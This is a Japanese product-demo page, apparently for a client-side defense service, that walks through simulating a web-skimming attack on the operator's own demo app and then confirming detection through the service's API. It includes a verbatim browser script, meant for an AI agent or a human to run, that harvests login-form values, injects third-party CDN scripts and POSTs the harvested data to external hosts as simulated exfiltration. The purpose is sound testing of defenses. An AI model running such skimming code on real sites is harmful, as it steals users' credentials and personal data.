- ホーム
- クライアントサイド防御
- Demo
- フェーズ 2 — 攻撃
フェーズ 2 — 攻撃
フェーズ 2 では、保護されたアプリケーションに対してシミュレートされた攻撃トラフィックを生成し、CSD がそれを検出したことを確認します。先に進む前に、フェーズ 1 が完了していること — ステップ 7 のすべてのチェックが PASS であること — が必要です。
ステップ 8: 攻撃シミュレーション
Section titled “ステップ 8: 攻撃シミュレーション”インフラストラクチャが検証された後(フェーズ 1 ステップ 7 のすべてのチェックが PASS)、攻撃シミュレーションスクリプトを実行して CSD 検出を生成します。スクリプトは トリガー検出 ガイドおよび 攻撃スクリプトライブラリ で定義されています。
AI 自動実行
Section titled “AI 自動実行”ブラウザ自動化ツールを持つ AI アシスタントは、攻撃シミュレーションをプログラムで実行します:
- initScript でナビゲート — クリーンなドキュメントコンテキストを確保するために(前のナビゲーションからの古い initScript を回避するため)まず
about:blankにナビゲートし、次にnavigate_pageでhttp://$F5XC_DOMAINNAME/#/loginに移動します。この際、zone.js がパッチを当てる前にネイティブのsetInterval、clearInterval、fetch、console.logを保存し、ログインフォームフィールドをポーリングし、ネイティブのHTMLInputElement.prototype.valueセッターを使用して認証情報を入力し、結合検出スクリプトをインラインで即時実行するinitScriptを使用します。以下の verbatim の initScript を使用してください。 - ウェルカムバナーを閉じる —
Escapeキーでpress_keyを実行してウェルカムバナーを閉じます。その後の訪問ではバナーが表示されない場合があります(Cookie が保持されています)。Cookie 同意ダイアログは Escape キーで自動的に閉じられます。 - 完了を待機 — すべての CDN スクリプトのロード/エラーコールバックおよび fetch プロミスの解決が完了するまで 10 秒待機します。
- 証拠を取得 —
[CSD Demo] Simulation completeと CDN ロード結果を確認するためにlist_console_messagesを実行します。HTTP ステータスコード(成功は200/201、保留中のリクエストはpending)を確認するためにscriptおよびfetchタイプでフィルタリングしたlist_network_requestsを実行します。
フェーズ 2 の initScript(verbatim — 記載通りに使用すること):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('#email'); var passEl = document.querySelector('#password'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);ブラウザ自動化ツールを持たないオペレーターは、手動でステップを実行します:
- ナビゲート — 保護されたアプリケーションのログインページに移動します:
http://xF5XC_DOMAINNAMEx/#/login - ダミー認証情報を入力 — Email フィールドに
test@example.com、Password フィールドにP@ssword123と入力します(フォームを送信しないこと)。 - DevTools を開く — F12 キーを押して Console タブに切り替えます。
- 結合検出スクリプトを実行 — トリガー検出 — 結合シミュレーションスクリプトを実行する からスクリプトをコンソールに貼り付け、Enter キーを押します。
- コンソール出力を確認 —
[CSD Demo]のフェーズ別出力に、フィールドのハーベスト、4 つの CDN ドメインからのスクリプトインジェクション、および 2 つのエンドポイントへのデータ窃取が表示されていることを確認します。
トリガーされる内容
Section titled “トリガーされる内容”| シグナル | 動作 | 検出 |
|---|---|---|
| フォームフィールドのハーベスト | メールアドレスとパスワードの入力値を読み取る | 機密フォームフィールドを読み取るスクリプト — 高リスクとしてフラグ |
| スクリプトインジェクション | cdn.jsdelivr.net、esm.sh、unpkg.com、ga.jspm.io から 4 つの <script> タグをインジェクト | 最大 4 つの新しいサードパーティスクリプトドメインを検出(CDN の可用性により異なる) |
| データ窃取 | ハーベストされたデータを fetch で www.httpbin.org および jsonplaceholder.typicode.com に送信 | 外部ドメインへのネットワーク呼び出し |
AI アシスタントは以下を報告する必要があります。AI 自動実行の場合、証拠は list_console_messages を通じてプログラムで取得されます(initScript のポーリング関数が結果をコンソールに記録します)。手動実行の場合、オペレーターがブラウザコンソールの出力を読み取ります。
| チェック | 期待値 | ステータス |
|---|---|---|
| ログインページのロード | http://$F5XC_DOMAINNAME/#/login で 200 OK | PASS / FAIL |
| コンソールスクリプトの実行 | コンソール出力に [CSD Demo] Simulation complete | PASS / FAIL |
| フィールドのハーベスト | コンソール出力の件数 > 0 | PASS |
| スクリプトのインジェクション | コンソール出力に 1〜4 の CDN ドメイン(リソースエラーで失敗するものもある) | いずれかの CDN ドメインが表示されれば PASS |
| 窃取チャンネル | コンソール出力に 2 つの fetch POST の試み | PASS |
ステップ 9: API による検出の確認
Section titled “ステップ 9: API による検出の確認”CSD API エンドポイントをクエリして、検出が表示されたことを確認します。ポーリングループを使用します: 60 秒ごとに /detected_domains をクエリし、DET-3 が PASS になったらすぐに進みます。10 分後も DET-3 が PASS にならない場合は、CSD 設定を確認してください。30 分後も DET-3 が PASS にならない場合は、停止してオペレーターに報告してください。これらのエンドポイントは API リファレンス に記載されており、前のステップと同じ認証およびネームスペースを使用します。
検出されたスクリプト
Section titled “検出されたスクリプト”過去 24 時間に検出されたスクリプトをクエリします:
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s -X POST \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ -H "Content-Type: application/json" \ -d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \ | jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'| フィールド | 期待値 | ステータス |
|---|---|---|
total | > 0(スクリプトが検出された) | > 0 であれば PASS; 0 でも /detected_domains に窃取ドメインが表示されれば PENDING |
| スクリプト名 | script_name に CDN ドメイン(cdn.jsdelivr.net、esm.sh、unpkg.com、ga.jspm.io)が含まれる | インジェクトされた CDN ドメインが表示されれば PASS |
検出されたドメイン
Section titled “検出されたドメイン”curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \ | jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'| フィールド | 期待値 | ステータス |
|---|---|---|
total_domains | > 0 | > 0 であれば PASS |
| ドメインリスト | CDN および窃取ドメインが含まれる | 期待されるドメインが表示されれば PASS |
フォームフィールド
Section titled “フォームフィールド”NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \ | jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'| フィールド | 期待値 | ステータス |
|---|---|---|
total | > 0 | > 0 であれば PASS; 0 でも DET-3 が PASS であれば PENDING |
name | email、password が含まれる | 機密フィールドが表示されれば PASS |
sensitivity | email/password フィールドに対して Sensitive | ML が正しく分類されれば PASS |
フェーズ 2 の証拠まとめ
Section titled “フェーズ 2 の証拠まとめ”すべての検出クエリの後、最終的な検出ステータスを提示します:
| テスト ID | チェック | ステータス |
|---|---|---|
| DET-1 | スクリプトが検出された(/scripts エンドポイント) | > 0 であれば PASS; 空でも DET-3 が PASS であれば PENDING |
| DET-2 | CDN ドメインが検出された | PASS / FAIL |
| DET-3 | 窃取ドメインが検出された(/detected_domains) | 主要指標 — www.httpbin.org または jsonplaceholder.typicode.com が表示されれば PASS |
| DET-4 | フォームフィールドが検出された(/formFields エンドポイント) | > 0 であれば PASS; 空でも DET-3 が PASS であれば PENDING |
フェーズ 2 完了。 フェーズ 3 — 緩和 に進んで、緩和ルールを適用し、ドメインがブロックされていることを確認します。